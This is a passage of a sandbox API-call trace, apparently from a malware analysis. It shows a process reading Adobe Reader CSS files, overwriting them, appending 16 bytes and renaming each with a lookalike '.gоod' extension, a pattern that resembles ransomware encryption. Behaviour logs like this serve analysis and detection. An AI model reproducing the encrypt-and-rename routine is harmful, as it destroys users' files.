lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win8.css", lpFilePart=0x0) returned 0x69 [0101.497] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0101.497] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win8.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-cef-win8.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0101.497] GetFileType (hFile=0x20c) returned 0x1 [0101.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0101.497] GetFileType (hFile=0x20c) returned 0x1 [0101.497] WriteFile (in: hFile=0x20c, lpBuffer=0x34a1fd0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdec4e8, lpOverlapped=0x0 | out: lpBuffer=0x34a1fd0*, lpNumberOfBytesWritten=0x1fdec4e8*=0x1010, lpOverlapped=0x0) returned 1 [0101.497] CloseHandle (hObject=0x20c) returned 1 [0101.497] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win8.css", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win8.css", lpFilePart=0x0) returned 0x69 [0101.497] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win8.css.gоod", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win8.css.gоod", lpFilePart=0x0) returned 0x6e [0101.497] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec420) returned 1 [0101.497] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win8.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-cef-win8.css"), fInfoLevelId=0x0, lpFileInformation=0x1fdec500 | out: lpFileInformation=0x1fdec500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x38b4ccef, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2179)) returned 1 [0101.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec3e0) returned 1 [0101.497] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win8.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-cef-win8.css"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win8.css.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-cef-win8.css.gоod")) returned 1 [0101.498] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef.css", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef.css", lpFilePart=0x0) returned 0x64 [0101.498] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec460) returned 1 [0101.498] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-cef.css"), fInfoLevelId=0x0, lpFileInformation=0x35248d0 | out: lpFileInformation=0x35248d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xcb15)) returned 1 [0101.498] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec420) returned 1 [0102.187] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef.css", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef.css", lpFilePart=0x0) returned 0x64 [0102.188] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0102.189] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-cef.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0102.226] GetFileType (hFile=0x6e4) returned 0x1 [0102.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0102.226] GetFileType (hFile=0x6e4) returned 0x1 [0102.226] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x1000 [0102.226] ReadFile (in: hFile=0x6e4, lpBuffer=0x3612ad0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec488, lpOverlapped=0x0 | out: lpBuffer=0x3612ad0*, lpNumberOfBytesRead=0x1fdec488*=0x1000, lpOverlapped=0x0) returned 1 [0102.228] CloseHandle (hObject=0x6e4) returned 1 [0102.228] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef.css", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef.css", lpFilePart=0x0) returned 0x64 [0102.228] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0102.228] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-cef.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0102.228] GetFileType (hFile=0x6e4) returned 0x1 [0102.228] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0102.228] GetFileType (hFile=0x6e4) returned 0x1 [0102.228] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0xcb15 [0102.229] WriteFile (in: hFile=0x6e4, lpBuffer=0x3614f58*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdec3a8, lpOverlapped=0x0 | out: lpBuffer=0x3614f58*, lpNumberOfBytesWritten=0x1fdec3a8*=0x10, lpOverlapped=0x0) returned 1 [0102.229] CloseHandle (hObject=0x6e4) returned 1 [0102.230] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef.css", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef.css", lpFilePart=0x0) returned 0x64 [0102.230] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0102.230] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-cef.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0102.230] GetFileType (hFile=0x6e4) returned 0x1 [0102.230] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0102.230] GetFileType (hFile=0x6e4) returned 0x1 [0102.230] ReadFile (in: hFile=0x6e4, lpBuffer=0x3619b38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec438, lpOverlapped=0x0 | out: lpBuffer=0x3619b38*, lpNumberOfBytesRead=0x1fdec438*=0x1000, lpOverlapped=0x0) returned 1 [0102.260] CloseHandle (hObject=0x6e4) returned 1 [0102.260] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef.css", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef.css", lpFilePart=0x0) returned 0x64 [0102.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0102.260] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-cef.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0102.260] GetFileType (hFile=0x6e4) returned 0x1 [0102.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0102.260] GetFileType (hFile=0x6e4) returned 0x1 [0102.260] WriteFile (in: hFile=0x6e4, lpBuffer=0x3618850*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdec4e8, lpOverlapped=0x0 | out: lpBuffer=0x3618850*, lpNumberOfBytesWritten=0x1fdec4e8*=0x1010, lpOverlapped=0x0) returned 1 [0102.260] CloseHandle (hObject=0x6e4) returned 1 [0102.260] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef.css", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef.css", lpFilePart=0x0) returned 0x64 [0102.260] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef.css.gоod", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef.css.gоod", lpFilePart=0x0) returned 0x69 [0102.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec420) returned 1 [0102.260] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-cef.css"), fInfoLevelId=0x0, lpFileInformation=0x1fdec500 | out: lpFileInformation=0x1fdec500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3929a1e6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xcb25)) returned 1 [0102.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec3e0) returned 1 [0102.261] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-cef.css"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef.css.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-cef.css.gоod")) returned 1 [0102.261] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-high-contrast.css", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-high-contrast.css", lpFilePart=0x0) returned 0x6e [0102.261] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec460) returned 1 [0102.261] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-high-contrast.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-high-contrast.css"), fInfoLevelId=0x0, lpFileInformation=0x3697278 | out: lpFileInformation=0x3697278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x22514)) returned 1 [0102.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec420) returned 1 [0102.262] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-high-contrast.css", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-high-contrast.css", lpFilePart=0x0) returned 0x6e [0102.262] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0102.262] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-high-contrast.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-high-contrast.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0102.262] GetFileType (hFile=0x6e4) returned 0x1 [0102.262] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0102.262] GetFileType (hFile=0x6e4) returned 0x1 [0102.262] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x1000 [0102.262] ReadFile (in: hFile=0x6e4, lpBuffer=0x3697750, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec488, lpOverlapped=0x0 | out: lpBuffer=0x3697750*, lpNumberOfBytesRead=0x1fdec488*=0x1000, lpOverlapped=0x0) returned 1 [0102.486] CloseHandle (hObject=0x6e4) returned 1 [0102.486] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-high-contrast.css", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-high-contrast.css", lpFilePart=0x0) returned 0x6e [0102.486] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0102.486] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-high-contrast.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-high-contrast.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0102.486] GetFileType (hFile=0x6e4) returned 0x1 [0102.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0102.486] GetFileType (hFile=0x6e4) returned 0x1 [0102.487] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x22514 [0102.487] WriteFile (in: hFile=0x6e4, lpBuffer=0x39019c0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdec3a8, lpOverlapped=0x0 | out: lpBuffer=0x39019c0*, lpNumberOfBytesWritten=0x1fdec3a8*=0x10, lpOverlapped=0x0) returned 1 [0102.661] CloseHandle (hObject=0x6e4) returned 1 [0102.661] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-high-contrast.css", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-high-contrast.css", lpFilePart=0x0) returned 0x6e [0102.662] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0102.662] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-high-contrast.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-high-contrast.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0102.662] GetFileType (hFile=0x6e4) returned 0x1 [0102.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0102.662] GetFileType (hFile=0x6e4) returned 0x1 [0102.662] ReadFile (in: hFile=0x6e4, lpBuffer=0x35e50f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec438, lpOverlapped=0x0 | out: lpBuffer=0x35e50f8*, lpNumberOfBytesRead=0x1fdec438*=0x1000, lpOverlapped=0x0) returned 1 [0102.692] CloseHandle (hObject=0x6e4) returned 1 [0102.693] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-high-contrast.css", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-high-contrast.css", lpFilePart=0x0) returned 0x6e [0102.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0102.693] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-high-contrast.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-high-contrast.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0102.694] GetFileType (hFile=0x6e4) returned 0x1 [0102.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0102.694] GetFileType (hFile=0x6e4) returned 0x1 [0102.694] WriteFile (in: hFile=0x6e4, lpBuffer=0x35e3df0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdec4e8, lpOverlapped=0x0 | out: lpBuffer=0x35e3df0*, lpNumberOfBytesWritten=0x1fdec4e8*=0x1010, lpOverlapped=0x0) returned 1 [0102.694] CloseHandle (hObject=0x6e4) returned 1 [0102.694] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-high-contrast.css", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-high-contrast.css", lpFilePart=0x0) returned 0x6e [0102.694] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-high-contrast.css.gоod", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-high-contrast.css.gоod", lpFilePart=0x0) returned 0x73 [0102.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec420) returned 1 [0102.694] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-high-contrast.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-high-contrast.css"), fInfoLevelId=0x0, lpFileInformation=0x1fdec500 | out: lpFileInformation=0x1fdec500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x396c63a6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x22524)) returned 1 [0102.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec3e0) returned 1 [0102.694] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-high-contrast.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-high-contrast.css"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-high-contrast.css.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-high-contrast.css.gоod")) returned 1 [0102.695] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main.css", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main.css", lpFilePart=0x0) returned 0x60 [0102.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec460) returned 1 [0102.695] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main.css"), fInfoLevelId=0x0, lpFileInformation=0x36638e0 | out: lpFileInformation=0x36638e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x28f1c)) returned 1 [0102.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec420) returned 1 [0102.695] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main.css", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main.css", lpFilePart=0x0) returned 0x60 [0102.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0102.695] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0102.695] GetFileType (hFile=0x6e4) returned 0x1 [0102.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0102.696] GetFileType (hFile=0x6e4) returned 0x1 [0102.696] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x1000 [0102.696] ReadFile (in: hFile=0x6e4, lpBuffer=0x3663d58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec488, lpOverlapped=0x0 | out: lpBuffer=0x3663d58*, lpNumberOfBytesRead=0x1fdec488*=0x1000, lpOverlapped=0x0) returned 1 [0102.741] CloseHandle (hObject=0x6e4) returned 1 [0102.741] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main.css", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main.css", lpFilePart=0x0) returned 0x60 [0102.741] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0102.741] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0102.742] GetFileType (hFile=0x6e4) returned 0x1 [0102.742] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0102.742] GetFileType (hFile=0x6e4) returned 0x1 [0102.742] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x2 | out: 